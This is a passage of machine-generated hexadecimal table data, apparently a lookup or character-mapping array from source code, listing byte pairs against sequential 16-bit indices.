0x23, 0x17, +0x00, 0x1B, 0x81, 0x24, 0x17, +0x00, 0x1B, 0x82, 0xa1, 0x09, +0x00, 0x1B, 0x83, 0x25, 0x17, +0x00, 0x1B, 0x84, 0x26, 0x17, +0x00, 0x1B, 0x85, 0x27, 0x17, +0x00, 0x1B, 0x86, 0x3c, 0x0e, +0x00, 0x1B, 0x87, 0x28, 0x17, +0x00, 0x1B, 0x88, 0x29, 0x17, +0x00, 0x1B, 0x89, 0x2a, 0x17, +0x00, 0x1B, 0x8A, 0x2b, 0x17, +0x00, 0x1B, 0x8B, 0xa2, 0x0b, +0x00, 0x1B, 0x8C, 0x2c, 0x17, +0x00, 0x1B, 0x8D, 0x38, 0x05, +0x00, 0x1B, 0x8E, 0x2d, 0x17, +0x00, 0x1B, 0x8F, 0x05, 0x00, +0x00, 0x1B, 0x90, 0x05, 0x00, +0x00, 0x1B, 0x91, 0x2e, 0x17, +0x00, 0x1B, 0x92, 0x2f, 0x17, +0x00, 0x1B, 0x93, 0x30, 0x17, +0x00, 0x1B, 0x94, 0x31, 0x17, +0x00, 0x1B, 0x95, 0x32, 0x17, +0x00, 0x1B, 0x96, 0x13, 0x11, +0x00, 0x1B, 0x97, 0x33, 0x17, +0x00, 0x1B, 0x98, 0x4f, 0x02, +0x00, 0x1B, 0x99, 0x34, 0x17, +0x00, 0x1B, 0x9A, 0x35, 0x17, +0x00, 0x1B, 0x9B, 0x36, 0x17, +0x00, 0x1B, 0x9C, 0x37, 0x17, +0x00, 0x1B, 0x9D, 0x38, 0x17, +0x00, 0x1B, 0x9E, 0xb7, 0x0f, +0x00, 0x1B, 0x9F, 0x39, 0x17, +0x00, 0x1B, 0xA0, 0x3a, 0x17, +0x00, 0x1B, 0xA1, 0x3b, 0x17, +0x00, 0x1B, 0xA2, 0x3c, 0x17, +0x00, 0x1B, 0xA3, 0x3d, 0x17, +0x00, 0x1B, 0xA4, 0x3e, 0x17, +0x00, 0x1B, 0xA5, 0x3f, 0x17, +0x00, 0x1B, 0xA6, 0x40, 0x17, +0x00, 0x1B, 0xA7, 0x41, 0x17, +0x00, 0x1B, 0xA8, 0x42, 0x17, +0x00, 0x1B, 0xA9, 0x43, 0x17, +0x00, 0x1B, 0xAA, 0x44, 0x17, +0x00, 0x1B, 0xAB, 0x45, 0x17, +0x00, 0x1B, 0xAC, 0x46, 0x17, +0x00, 0x1B, 0xAD, 0x47, 0x17, +0x00, 0x1B, 0xAE, 0x75, 0x0c, +0x00, 0x1B, 0xAF, 0xb9, 0x02, +0x00, 0x1B, 0xB0, 0x48, 0x17, +0x00, 0x1B, 0xB1, 0x3f, 0x0a, +0x00, 0x1B, 0xB2, 0x49, 0x17, +0x00, 0x1B, 0xB3, 0x4a, 0x17, +0x00, 0x1B, 0xB4, 0x4b, 0x17, +0x00, 0x1B, 0xB5, 0x4c, 0x17, +0x00, 0x1B, 0xB6, 0x4d, 0x17, +0x00, 0x1B, 0xB7, 0x4e, 0x17, +0x00, 0x1B, 0xB8, 0x4f, 0x17, +0x00, 0x1B, 0xB9, 0xee, 0x06, +0x00, 0x1B, 0xBA, 0x69, 0x01, +0x00, 0x1B, 0xBB, 0x50, 0x17, +0x00, 0x1B, 0xBC, 0x51, 0x17, +0x00, 0x1B, 0xBD, 0x52, 0x17, +0x00, 0x1B, 0xBE, 0x53, 0x17, +0x00, 0x1B, 0xBF, 0xc4, 0x0c, +0x00, 0x1B, 0xC0, 0x08, 0x05, +0x00, 0x1B, 0xC1, 0x54, 0x17, +0x00, 0x1B, 0xC2, 0xd5, 0x00, +0x00, 0x1B, 0xC3, 0x55, 0x17, +0x00, 0x1B, 0xC4, 0x56, 0x17, +0x00, 0x1B, 0xC5, 0x57, 0x17, +0x00, 0x1B, 0xC6, 0x58, 0x17, +0x00, 0x1B, 0xC7, 0x59, 0x17, +0x00, 0x1B, 0xC8, 0x5a, 0x17, +0x00, 0x1B, 0xC9, 0x5b, 0x17, +0x00, 0x1B, 0xCA, 0x5c, 0x17, +0x00, 0x1B, 0xCB, 0x5d, 0x17, +0x00, 0x1B, 0xCC, 0x5e, 0x17, +0x00, 0x1B, 0xCD, 0x5f, 0x17, +0x00, 0x1B, 0xCE, 0x1a, 0x10, +0x00, 0x1B, 0xCF, 0x60, 0x17, +0x00, 0x1B, 0xD0, 0x61, 0x17, +0x00, 0x1B, 0xD1, 0x62, 0x17, +0x00, 0x1B, 0xD2, 0x63, 0x17, +0x00, 0x1B, 0xD3, 0x5e, 0x0d, +0x00, 0x1B, 0xD4, 0x05, 0x00, +0x00, 0x1B, 0xD5, 0x05, 0x00, +0x00, 0x1B, 0xD6, 0x64, 0x17, +0x00, 0x1B, 0xD7, 0xc4, 0x14, +0x00, 0x1B, 0xD8, 0x65, 0x17, +0x00, 0x1B, 0xD9, 0x66, 0x17, +0x00, 0x1B, 0xDA, 0x0f, 0x07, +0x00, 0x1B, 0xDB, 0x67, 0x17, +0x00, 0x1B, 0xDC, 0x68, 0x17, +0x00, 0x1B, 0xDD, 0xb9, 0x00, +0x00, 0x1B, 0xDE, 0x69, 0x17, +0x00, 0x1B, 0xDF, 0x6a, 0x17, +0x00, 0x1B, 0xE0, 0x6b, 0x17, +0x00, 0x1B, 0xE1, 0x6c, 0x17, +0x00, 0x1B, 0xE2, 0x6d, 0x17, +0x00, 0x1B, 0xE3, 0x6e, 0x17, +0x00, 0x1B, 0xE4, 0x6f, 0x17, +0x00, 0x1B, 0xE5, 0x70, 0x17, +0x00, 0x1B, 0xE6, 0x71, 0x17, +0x00, 0x1B, 0xE7, 0x72, 0x17, +0x00, 0x1B, 0xE8, 0x73, 0x17, +0x00, 0x1B, 0xE9, 0x35, 0x05, +0x00, 0x1B, 0xEA, 0xc5, 0x08, +0x00, 0x1B, 0xEB, 0x74, 0x17, +0x00, 0x1B, 0xEC, 0x75, 0x17, +0x00, 0x1B, 0xED, 0x80, 0x00, +0x00, 0x1B, 0xEE, 0xb9, 0x02, +0x00, 0x1B, 0xEF, 0x76, 0x17, +0x00, 0x1B, 0xF0, 0x77, 0x17, +0x00, 0x1B, 0xF1, 0x62, 0x0b, +0x00, 0x1B, 0xF2, 0x78, 0x17, +0x00, 0x1B, 0xF3, 0x79, 0x17, +0x00, 0x1B, 0xF4, 0x7a, 0x17, +0x00, 0x1B, 0xF5, 0x7b, 0x17, +0x00, 0x1B, 0xF6, 0x7c, 0x17, +0x00, 0x1B, 0xF7, 0x7d, 0x17, +0x00, 0x1B, 0xF8, 0x7e, 0x17, +0x00, 0x1B, 0xF9, 0x7f, 0x17, +0x00, 0x1B, 0xFA, 0x80, 0x17, +0x00, 0x1B, 0xFB, 0x93, 0x02, +0x00, 0x1B, 0xFC, 0x20, 0x0b, +0x00, 0x1B, 0xFD, 0x81, 0x17, +0x00, 0x1B, 0xFE, 0x82, 0x17, +0x00, 0x1B, 0xFF, 0xf5, 0x0f, +0x00, 0x1C, 0x00, 0x83, 0x17, +0x00, 0x1C, 0x01, 0x84, 0x17, +0x00, 0x1C, 0x02, 0x85, 0x17, +0x00, 0x1C, 0x03, 0x86, 0x17, +0x00, 0x1C, 0x04, 0x87, 0x17, +0x00, 0x1C, 0x05, 0x88, 0x17, +0x00, 0x1C, 0x06, 0xf8, 0x0e, +0x00, 0x1C, 0x07, 0x89, 0x17, +0x00, 0x1C, 0x08, 0x8a, 0x17, +0x00, 0x1C, 0x09, 0x8b, 0x17, +0x00, 0x1C, 0x0A, 0xe9, 0x01, +0x00, 0x1C, 0x0B, 0x8c, 0x17, +0x00, 0x1C, 0x0C, 0x8d, 0x17, +0x00, 0x1C, 0x0D, 0x8e, 0x17, +0x00, 0x1C, 0x0E, 0x05, 0x00, +0x00, 0x1C, 0x0F, 0x05, 0x00, +0x00, 0x1C, 0x10, 0xf9, 0x0a, +0x00, 0x1C, 0x11, 0xb9, 0x00, +0x00, 0x1C, 0x12, 0xb9, 0x00, +0x00, 0x1C, 0x13, 0x8f, 0x17, +0x00, 0x1C, 0x14, 0xf0, 0x04, +0x00, 0x1C, 0x15, 0x90, 0x17, +0x00, 0x1C, 0x16, 0x91, 0x17, +0x00, 0x1C, 0x17, 0x69, 0x01, +0x00, 0x1C, 0x18, 0x92, 0x17, +0x00, 0x1C, 0x19, 0x93, 0x17, +0x00, 0x1C, 0x1A, 0x94, 0x17, +0x00, 0x1C, 0x1B, 0x95, 0x17, +0x00, 0x1C, 0x1C, 0x96, 0x17, +0x00, 0x1C, 0x1D, 0x97, 0x17, +0x00, 0x1C, 0x1E, 0x98, 0x17, +0x00, 0x1C, 0x1F, 0x99, 0x17, +0x00, 0x1C, 0x20, 0x9a, 0x17, +0x00, 0x1C, 0x21, 0x9b, 0x17, +0x00, 0x1C, 0x22, 0x9c, 0x17, +0x00, 0x1C, 0x23, 0xd1, 0x05, +0x00, 0x1C, 0x24, 0x9d, 0x17, +0x00, 0x1C, 0x25, 0xe3, 0x11, +0x00, 0x1C, 0x26, 0xe3, 0x11, +0x00, 0x1C, 0x27, 0x9e, 0x17, +0x00, 0x1C, 0x28, 0x9f, 0x17, +0x00, 0x1C, 0x29, 0xa0, 0x17, +0x00, 0x1C, 0x2A, 0xa1, 0x17, +0x00, 0x1C, 0x2B, 0xa2, 0x17, +0x00, 0x1C, 0x2C, 0xa3, 0x17, +0x00, 0x1C, 0x2D, 0xa4, 0x17, +0x00, 0x1C, 0x2E, 0xa5, 0x17, +0x00, 0x1C, 0x2F, 0xa6, 0x17, +0x00, 0x1C, 0x30, 0xa7, 0x17, +0x00, 0x1C, 0x31, 0xa8, 0x17, +0x00, 0x1C, 0x32, 0xa9, 0x17, +0x00, 0x1C, 0x33, 0xaa, 0x17, +0x00, 0x1C, 0x34, 0xab, 0x17, +0x00, 0x1C, 0x35, 0xb9, 0x02, +0x00, 0x1C, 0x36, 0xac, 0x17, +0x00, 0x1C, 0x37, 0xad, 0x17, +0x00, 0x1C, 0x38, 0xae, 0x17, +0x00, 0x1C, 0x39, 0xaf, 0x17, +0x00, 0x1C, 0x3A, 0xb0, 0x17, +0x00, 0x1C, 0x3B, 0xb1, 0x17, +0x00, 0x1C, 0x3C, 0xb2, 0x17, +0x00, 0x1C, 0x3D, 0xb3, 0x17, +0x00, 0x1C, 0x3E, 0xb4, 0x17, +0x00, 0x1C, 0x3F, 0xdf, 0x03, +0x00, 0x1C, 0x40, 0xb5, 0x17, +0x00, 0x1C, 0x41, 0xb6, 0x17, +0x00, 0x1C, 0x42, 0xb7, 0x17, +0x00, 0x1C, 0x43, 0x4f, 0x02, +0x00, 0x1C, 0x44, 0x1d, 0x01, +0x00, 0x1C, 0x45, 0xb8, 0x17, +0x00, 0x1C, 0x46, 0xb9, 0x17, +0x00, 0x1C, 0x47, 0x10, 0x0e, +0x00, 0x1C, 0x48, 0xba, 0x17, +0x00, 0x1C, 0x49, 0xbb, 0x17, +0x00, 0x1C, 0x4A, 0xc3, 0x03, +0x00, 0x1C, 0x4B, 0xbc, 0x17, +0x00, 0x1C, 0x4C, 0xbd, 0x17, +0x00, 0x1C, 0x4D, 0xbe, 0x17, +0x00, 0x1C, 0x4E, 0xbf, 0x17, +0x00, 0x1C, 0x4F, 0xc0, 0x17, +0x00, 0x1C, 0x50, 0xc1, 0x17, +0x00, 0x1C, 0x51, 0xc2, 0x17, +0x00, 0x1C, 0x52, 0xc3, 0x17, +0x00, 0x1C, 0x53, 0xc4, 0x17, +0x00, 0x1C, 0x54, 0xc5, 0x17, +0x00, 0x1C, 0x55, 0xe9, 0x01, +0x00, 0x1C, 0x56, 0xc6, 0x17, +0x00, 0x1C, 0x57, 0x05, 0x00, +0x00, 0x1C, 0x58, 0x05, 0x00, +0x00, 0x1C, 0x59, 0xc7, 0x17, +0x00, 0x1C, 0x5A, 0xf7, 0x01, +0x00, 0x1C, 0x5B, 0xc8, 0x17, +0x00, 0x1C, 0x5C, 0xd5, 0x00, +0x00, 0x1C, 0x5D, 0xc9, 0x17, +0x00, 0x1C, 0x5E, 0xca, 0x17, +0x00, 0x1C, 0x5F, 0xcb, 0x17, +0x00, 0x1C, 0x60, 0xcc, 0x17, +0x00, 0x1C, 0x61, 0xcd, 0x17, +0x00, 0x1C, 0x62, 0xce, 0x17, +0x00, 0x1C, 0x63, 0xcf, 0x17, +0x00, 0x1C, 0x64, 0xcc, 0x0d, +0x00, 0x1C, 0x65, 0xd0, 0x17, +0x00, 0x1C, 0x66, 0xd1, 0x17, +0x00, 0x1C, 0x67, 0xd2, 0x17, +0x00, 0x1C, 0x68, 0xd3, 0x17, +0x00, 0x1C, 0x69, 0xd4, 0x17, +0x00, 0x1C, 0x6A, 0xd5, 0x17, +0x00, 0x1C, 0x6B, 0xd6, 0x17, +0x00, 0x1C, 0x6C, 0xd7, 0x17, +0x00, 0x1C, 0x6D, 0xd8, 0x17, +0x00, 0x1C, 0x6E, 0xd9, 0x17, +0x00, 0x1C, 0x6F, 0xda, 0x17, +0x00, 0x1C, 0x70, 0xdb, 0x17, +0x00, 0x1C, 0x71, 0xdc, 0x17, +0x00, 0x1C, 0x72, 0xdd, 0x17, +0x00, 0x1C, 0x73, 0xde, 0x17, +0x00, 0x1C, 0x74, 0xdf, 0x17, +0x00, 0x1C, 0x75, 0xe0, 0x17, +0x00, 0x1C, 0x76, 0xe1, 0x17, +0x00, 0x1C, 0x77, 0xe2, 0x17, +0x00, 0x1C, 0x78, 0xe3, 0x17, +0x00, 0x1C, 0x79, 0xe4, 0x17, +0x00, 0x1C, 0x7A, 0xe5, 0x17, +0x00, 0x1C, 0x7B, 0xe6, 0x17, +0x00, 0x1C, 0x7C, 0xe7, 0x17, +0x00, 0x1C, 0x7D, 0xe8, 0x17, +0x00, 0x1C, 0x7E, 0x32, 0x00, +0x00, 0x1C, 0x7F, 0x5d, 0x10, +0x00, 0x1C, 0x80, 0xe9, 0x17, +0x00, 0x1C, 0x81, 0xea, 0x17, +0x00, 0x1C, 0x82, 0xeb, 0x17, +0x00, 0x1C, 0x83, 0xec, 0x17, +0x00, 0x1C, 0x84, 0xed, 0x17, +0x00, 0x1C, 0x85, 0xee, 0x17, +0x00, 0x1C, 0x86, 0xef, 0x17, +0x00, 0x1C, 0x87, 0xf0, 0x17, +0x00, 0x1C, 0x88, 0xf1, 0x17, +0x00, 0x1C, 0x89, 0xf2, 0x17, +0x00, 0x1C, 0x8A, 0xf3, 0x17, +0x00, 0x1C, 0x8B, 0xf4, 0x17, +0x00, 0x1C, 0x8C, 0xf5, 0x17, +0x00, 0x1C, 0x8D, 0xf6, 0x17, +0x00, 0x1C, 0x8E, 0xd1, 0x06, +0x00, 0x1C, 0x8F, 0xf7, 0x01, +0x00, 0x1C, 0x90, 0xf7, 0x17, +0x00, 0x1C, 0x91, 0xf8, 0x17, +0x00, 0x1C, 0x92, 0xf9, 0x17, +0x00, 0x1C, 0x93, 0xfa, 0x17, +0x00, 0x1C, 0x94, 0xfb, 0x17, +0x00, 0x1C, 0x95, 0xfc, 0x17, +0x00, 0x1C, 0x96, 0xfd, 0x17, +0x00, 0x1C, 0x97, 0xfe, 0x17, +0x00, 0x1C, 0x98, 0xff, 0x17, +0x00, 0x1C, 0x99, 0x00, 0x18, +0x00, 0x1C, 0x9A, 0xb9, 0x02, +0x00, 0x1C, 0x9B, 0x01, 0x18, +0x00, 0x1C, 0x9C, 0x69, 0x01, +0x00, 0x1C, 0x9D, 0x02, 0x18, +0x00, 0x1C, 0x9E, 0x03, 0x18, +0x00, 0x1C, 0x9F, 0x04, 0x18, +0x00, 0x1C, 0xA0, 0x10, 0x0a, +0x00, 0x1C, 0xA1, 0x05, 0x18, +0x00, 0x1C, 0xA2, 0x71, 0x07, +0x00, 0x1C, 0xA3, 0x06, 0x18, +0x00, 0x1C, 0xA4, 0xbe, 0x09, +0x00, 0x1C, 0xA5, 0x07, 0x18, +0x00, 0x1C, 0xA6, 0x08, 0x18, +0x00, 0x1C, 0xA7, 0xdf, 0x03, +0x00, 0x1C, 0xA8, 0x09, 0x18, +0x00, 0x1C, 0xA9, 0x0a, 0x18, +0x00, 0x1C, 0xAA, 0x0b, 0x18, +0x00, 0x1C, 0xAB, 0x0c, 0x18, +0x00, 0x1C, 0xAC, 0x0d, 0x18, +0x00, 0x1C, 0xAD, 0x0e, 0x18, +0x00, 0x1C, 0xAE, 0x0f, 0x18, +0x00, 0x1C, 0xAF, 0x10, 0x18, +0x00, 0x1C, 0xB0, 0x05, 0x00, +0x00, 0x1C, 0xB1, 0x05, 0x00, +0x00, 0x1C, 0xB2, 0x11, 0x18, +0x00, 0x1C, 0xB3, 0x51, 0x03, +0x00, 0x1C, 0xB4, 0x12, 0x18, +0x00, 0x1C, 0xB5, 0x13, 0x18, +0x00, 0x1C, 0xB6, 0x14, 0x18, +0x00, 0x1C, 0xB7, 0x15, 0x18, +0x00, 0x1C, 0xB8, 0x16, 0x18, +0x00, 0x1C, 0xB9, 0x17, 0x18, +0x00, 0x1C, 0xBA, 0x18, 0x18, +0x00, 0x1C, 0xBB, 0x19, 0x18, +0x00, 0x1C, 0xBC, 0x1a, 0x18, +0x00, 0x1C, 0xBD, 0x1b, 0x18, +0x00, 0x1C, 0xBE, 0xc5, 0x08, +0x00, 0x1C, 0xBF, 0x80, 0x10, +0x00, 0x1C, 0xC0, 0x80, 0x10, +0x00, 0x1C, 0xC1, 0xb9, 0x00, +0x00, 0x1C, 0xC2, 0x1c, 0x18, +0x00, 0x1C, 0xC3, 0xb9, 0x00, +0x00, 0x1C, 0xC4, 0xc9, 0x01, +0x00, 0x1C, 0xC5, 0xf2, 0x00, +0x00, 0x1C, 0xC6, 0x1d, 0x18, +0x00, 0x1C, 0xC7, 0x1e, 0x18, +0x00, 0x1C, 0xC8, 0x1f, 0x18, +0x00, 0x1C, 0xC9, 0x20, 0x18, +0x00, 0x1C, 0xCA, 0x0e, 0x03, +0x00, 0x1C, 0xCB, 0x21, 0x18, +0x00, 0x1C, 0xCC, 0xc2, 0x0d, +0x00, 0x1C, 0xCD, 0x22, 0x18, +0x00, 0x1C, 0xCE, 0x23, 0x18, +0x00, 0x1C, 0xCF, 0x24, 0x18, +0x00, 0x1C, 0xD0, 0x25, 0x18, +0x00, 0x1C, 0xD1, 0x26, 0x18, +0x00, 0x1C, 0xD2, 0x27, 0x18, +0x00, 0x1C, 0xD3, 0x28, 0x18, +0x00, 0x1C, 0xD4, 0xb9, 0x02, +0x00, 0x1C, 0xD5, 0x29, 0x18, +0x00, 0x1C, 0xD6, 0xb9, 0x02, +0x00, 0x1C, 0xD7, 0x2a, 0x18, +0x00, 0x1C, 0xD8, 0x2b, 0x18, +0x00, 0x1C, 0xD9, 0x8c, 0x08, +0x00, 0x1C, 0xDA, 0x2c, 0x18, +0x00, 0x1C, 0xDB, 0x2d, 0x18, +0x00, 0x1C, 0xDC, 0x2e, 0x18, +0x00, 0x1C, 0xDD, 0x2f, 0x18, +0x00, 0x1C, 0xDE, 0x40, 0x06, +0x00, 0x1C, 0xDF, 0xe5, 0x13, +0x00, 0x1C, 0xE0, 0x30, 0x18, +0x00, 0x1C, 0xE1, 0x31, 0x18, +0x00, 0x1C, 0xE2, 0x32, 0x18, +0x00, 0x1C, 0xE3, 0x33, 0x18, +0x00, 0x1C, 0xE4, 0x34, 0x18, +0x00, 0x1C, 0xE5, 0x35, 0x18, +0x00, 0x1C, 0xE6, 0x36, 0x18, +0x00, 0x1C, 0xE7, 0x37, 0x18, +0x00, 0x1C, 0xE8, 0x38, 0x18, +0x00, 0x1C, 0xE9, 0x18, 0x16, +0x00, 0x1C, 0xEA, 0x8c, 0x01, +0x00, 0x1C, 0xEB, 0x69, 0x01, +0x00, 0x1C, 0xEC, 0x39, 0x18, +0x00, 0x1C, 0xED, 0x3a, 0x18, +0x00, 0x1C, 0xEE, 0xfe, 0x13, +0x00, 0x1C, 0xEF, 0x4d, 0x02, +0x00, 0x1C, 0xF0, 0xe8, 0x04, +0x00, 0x1C, 0xF1, 0x3b, 0x18, +0x00, 0x1C, 0xF2, 0x3c, 0x18, +0x00, 0x1C, 0xF3, 0x3d, 0x18, +0x00, 0x1C, 0xF4, 0x3e, 0x18, +0x00, 0x1C, 0xF5, 0x3f, 0x18, +0x00, 0x1C, 0xF6, 0x05, 0x00, +0x00, 0x1C, 0xF7, 0x40, 0x18, +0x00, 0x1C, 0xF8, 0x41, 0x18, +0x00, 0x1C, 0xF9, 0x05, 0x00, +0x00, 0x1C, 0xFA, 0x42, 0x18, +0x00, 0x1C, 0xFB, 0xb9, 0x00, +0x00, 0x1C, 0xFC, 0x58, 0x00, +0x00, 0x1C, 0xFD, 0x0a, 0x01, +0x00, 0x1C, 0xFE, 0x43, 0x18, +0x00, 0x1C, 0xFF, 0x44, 0x18, +0x00, 0x1D, 0x00, 0x45, 0x18, +0x00, 0x1D, 0x01, 0x46, 0x18, +0x00, 0x1D, 0x02, 0x47, 0x18, +0x00, 0x1D, 0x03, 0x48, 0x18, +0x00, 0x1D, 0x04, 0x49, 0x18, +0x00, 0x1D, 0x05, 0x6c, 0x0b, +0x00, 0x1D, 0x06, 0x4a, 0x18, +0x00, 0x1D, 0x07, 0xe9, 0x01, +0x00, 0x1D, 0x08, 0x6c, 0x10, +0x00, 0x1D, 0x09, 0xd1, 0x05, +0x00, 0x1D, 0x0A, 0x4b, 0x18, +0x00, 0x1D, 0x0B, 0x4c, 0x18, +0x00, 0x1D, 0x0C, 0x4d, 0x18, +0x00, 0x1D, 0x0D, 0xd3, 0x03, +0x00, 0x1D, 0x0E, 0x4e, 0x18, +0x00, 0x1D, 0x0F, 0xcf, 0x09, +0x00, 0x1D, 0x10, 0x4f, 0x18, +0x00, 0x1D, 0x11, 0x50, 0x18, +0x00, 0x1D, 0x12, 0x51, 0x18, +0x00, 0x1D, 0x13, 0x52, 0x18, +0x00, 0x1D, 0x14, 0x53, 0x18, +0x00, 0x1D, 0x15, 0xe9, 0x01, +0x00, 0x1D, 0x16, 0xdc, 0x13, +0x00, 0x1D, 0x17, 0x54, 0x18, +0x00, 0x1D, 0x18, 0x55, 0x18, +0x00, 0x1D, 0x19, 0x5b, 0x10, +0x00, 0x1D, 0x1A, 0x56, 0x18, +0x00, 0x1D, 0x1B, 0x57, 0x18, +0x00, 0x1D, 0x1C, 0x58, 0x18, +0x00, 0x1D, 0x1D, 0x59, 0x18, +0x00, 0x1D, 0x1E, 0x5a, 0x18, +0x00, 0x1D, 0x1F, 0x5b, 0x18, +0x00, 0x1D, 0x20, 0x5c, 0x18, +0x00, 0x1D, 0x21, 0x5d, 0x18, +0x00, 0x1D, 0x22, 0x5e, 0x18, +0x00, 0x1D, 0x23, 0x5f, 0x18, +0x00, 0x1D, 0x24, 0x60, 0x18, +0x00, 0x1D, 0x25, 0x4f, 0x02, +0x00, 0x1D, 0x26, 0x61, 0x18, +0x00, 0x1D, 0x27, 0x62, 0x18, +0x00, 0x1D, 0x28, 0xbe, 0x09, +0x00, 0x1D, 0x29, 0x63, 0x18, +0x00, 0x1D, 0x2A, 0xe9, 0x01, +0x00, 0x1D, 0x2B, 0x64, 0x18, +0x00, 0x1D, 0x2C, 0x65, 0x18, +0x00, 0x1D, 0x2D, 0x66, 0x18, +0x00, 0x1D, 0x2E, 0x02, 0x11, +0x00, 0x1D, 0x2F, 0x67, 0x18, +0x00, 0x1D, 0x30, 0x68, 0x18, +0x00, 0x1D, 0x31, 0x69, 0x18, +0x00, 0x1D, 0x32, 0x6a, 0x18, +0x00, 0x1D, 0x33, 0x6b, 0x18, +0x00, 0x1D, 0x34, 0x6c, 0x18, +0x00, 0x1D, 0x35, 0x6d, 0x18, +0x00, 0x1D, 0x36, 0x38, 0x05, +0x00, 0x1D, 0x37, 0x6e, 0x18, +0x00, 0x1D, 0x38, 0x70, 0x04, +0x00, 0x1D, 0x39, 0x6f, 0x18, +0x00, 0x1D, 0x3A, 0x70, 0x18, +0x00, 0x1D, 0x3B, 0xb9, 0x02, +0x00, 0x1D, 0x3C, 0x71, 0x18, +0x00, 0x1D, 0x3D, 0x72, 0x18, +0x00, 0x1D, 0x3E, 0x73, 0x18, +0x00, 0x1D, 0x3F, 0x74, 0x18, +0x00, 0x1D, 0x40, 0x75, 0x18, +0x00, 0x1D, 0x41, 0x76, 0x18, +0x00, 0x1D, 0x42, 0x69, 0x01, +0x00, 0x1D, 0x43, 0xe9, 0x01, +0x00, 0x1D, 0x44, 0x77, 0x18, +0x00, 0x1D, 0x45, 0x05, 0x00, +0x00, 0x1D, 0x46, 0x05, 0x00, +0x00, 0x1D, 0x47, 0x78, 0x18, +0x00, 0x1D, 0x48, 0x79, 0x18, +0x00, 0x1D, 0x49, 0xd3, 0x01, +0x00, 0x1D, 0x4A, 0x7a, 0x18, +0x00, 0x1D, 0x4B, 0x7b, 0x18, +0x00, 0x1D, 0x4C, 0xd1, 0x06, +0x00, 0x1D, 0x4D, 0x86, 0x0c, +0x00, 0x1D, 0x4E, 0x7c, 0x18, +0x00, 0x1D, 0x4F, 0x51, 0x03, +0x00, 0x1D, 0x50, 0x7d, 0x18, +0x00, 0x1D, 0x51, 0x7e, 0x18, +0x00, 0x1D, 0x52, 0x7f, 0x18, +0x00, 0x1D, 0x53, 0x80, 0x18, +0x00, 0x1D, 0x54, 0x81, 0x18, +0x00, 0x1D, 0x55, 0x82, 0x18, +0x00, 0x1D, 0x56, 0x83, 0x18, +0x00, 0x1D, 0x57, 0x84, 0x18, +0x00, 0x1D, 0x58, 0x85, 0x18, +0x00, 0x1D, 0x59, 0x86, 0x18, +0x00, 0x1D, 0x5A, 0x02, 0x0c, +0x00, 0x1D, 0x5B, 0x87, 0x18, +0x00, 0x1D, 0x5C, 0x88, 0x18, +0x00, 0x1D, 0x5D, 0x89, 0x18, +0x00, 0x1D, 0x5E, 0x8a, 0x18, +0x00, 0x1D, 0x5F, 0x8b, 0x18, +0x00, 0x1D, 0x60, 0x20, 0x0b, +0x00, 0x1D, 0x61, 0x8c, 0x18, +0x00, 0x1D, 0x62, 0x8d, 0x18, +0x00, 0x1D, 0x63, 0x8e, 0x18, +0x00, 0x1D, 0x64, 0x8f, 0x18, +0x00, 0x1D, 0x65, 0xb6, 0x05, +0x00, 0x1D, 0x66, 0x50, 0x03, +0x00, 0x1D, 0x67, 0x90, 0x18, +0x00, 0x1D, 0x68, 0xbc, 0x0c, +0x00, 0x1D, 0x69, 0x91, 0x18, +0x00, 0x1D, 0x6A, 0xd8, 0x0d, +0x00, 0x1D, 0x6B, 0xb9, 0x00, +0x00, 0x1D, 0x6C, 0x92, 0x18, +0x00, 0x1D, 0x6D, 0x93, 0x18, +0x00, 0x1D, 0x6E, 0xb9, 0x02, +0x00, 0x1D, 0x6F, 0x94, 0x18, +0x00, 0x1D, 0x70, 0x05, 0x00, +0x00, 0x1D, 0x71, 0x05, 0x00, +0x00, 0x1D, 0x72, 0xc9, 0x09, +0x00, 0x1D, 0x73, 0xa2, 0x06, +0x00, 0x1D, 0x74, 0x95, 0x18, +0x00, 0x1D, 0x75, 0x96, 0x18, +0x00, 0x1D, 0x76, 0x97, 0x18, +0x00, 0x1D, 0x77, 0x98, 0x18, +0x00, 0x1D, 0x78, 0x99, 0x18, +0x00, 0x1D, 0x79, 0x9a, 0x18, +0x00, 0x1D, 0x7A, 0x9b, 0x18, +0x00, 0x1D, 0x7B, 0x9c, 0x18, +0x00, 0x1D, 0x7C, 0x9d, 0x18, +0x00, 0x1D, 0x7D, 0xf4, 0x0b, +0x00, 0x1D, 0x7E, 0xf9, 0x0a, +0x00, 0x1D, 0x7F, 0x9e, 0x18, +0x00, 0x1D, 0x80, 0x93, 0x15, +0x00, 0x1D, 0x81, 0xd3, 0x06, +0x00, 0x1D, 0x82, 0xfd, 0x06, +0x00, 0x1D, 0x83, 0x9f, 0x18, +0x00, 0x1D, 0x84, 0xa0, 0x18, +0x00, 0x1D, 0x85, 0xa1, 0x18, +0x00, 0x1D, 0x86, 0xa2, 0x18, +0x00, 0x1D, 0x87, 0xa3, 0x18, +0x00, 0x1D, 0x88, 0xa4, 0x18, +0x00, 0x1D, 0x89, 0xa5, 0x18, +0x00, 0x1D, 0x8A, 0xa6, 0x18, +0x00, 0x1D, 0x8B, 0x71, 0x07, +0x00, 0x1D, 0x8C, 0xa7, 0x18, +0x00, 0x1D, 0x8D, 0xa8, 0x18, +0x00, 0x1D, 0x8E, 0xa9, 0x18, +0x00, 0x1D, 0x8F, 0xaa, 0x18, +0x00, 0x1D, 0x90, 0xab, 0x18, +0x00, 0x1D, 0x91, 0xac, 0x18, +0x00, 0x1D, 0x92, 0x28, 0x0b, +0x00, 0x1D, 0x93, 0xad, 0x18, +0x00, 0x1D, 0x94, 0xae, 0x18, +0x00, 0x1D, 0x95, 0xaf, 0x18, +0x00, 0x1D, 0x96, 0x0f, 0x01, +0x00, 0x1D, 0x97, 0xb0, 0x18, +0x00, 0x1D, 0x98, 0xb9, 0x02, +0x00, 0x1D, 0x99, 0xb1, 0x18, +0x00, 0x1D, 0x9A, 0xb2, 0x18, +0x00, 0x1D, 0x9B, 0xb3, 0x18, +0x00, 0x1D, 0x9C, 0xb1, 0x00, +0x00, 0x1D, 0x9D, 0xb4, 0x18, +0x00, 0x1D, 0x9E, 0xb5, 0x18, +0x00, 0x1D, 0x9F, 0xb6, 0x18, +0x00, 0x1D, 0xA0, 0xb7, 0x18, +0x00, 0x1D, 0xA1, 0x05, 0x00, +0x00, 0x1D, 0xA2, 0x05, 0x00, +0x00, 0x1D, 0xA3, 0xb8, 0x18, +0x00, 0x1D, 0xA4, 0x10, 0x0e, +0x00, 0x1D, 0xA5, 0x40, 0x15, +0x00, 0x1D, 0xA6, 0xb9, 0x18, +0x00, 0x1D, 0xA7, 0xba, 0x18, +0x00, 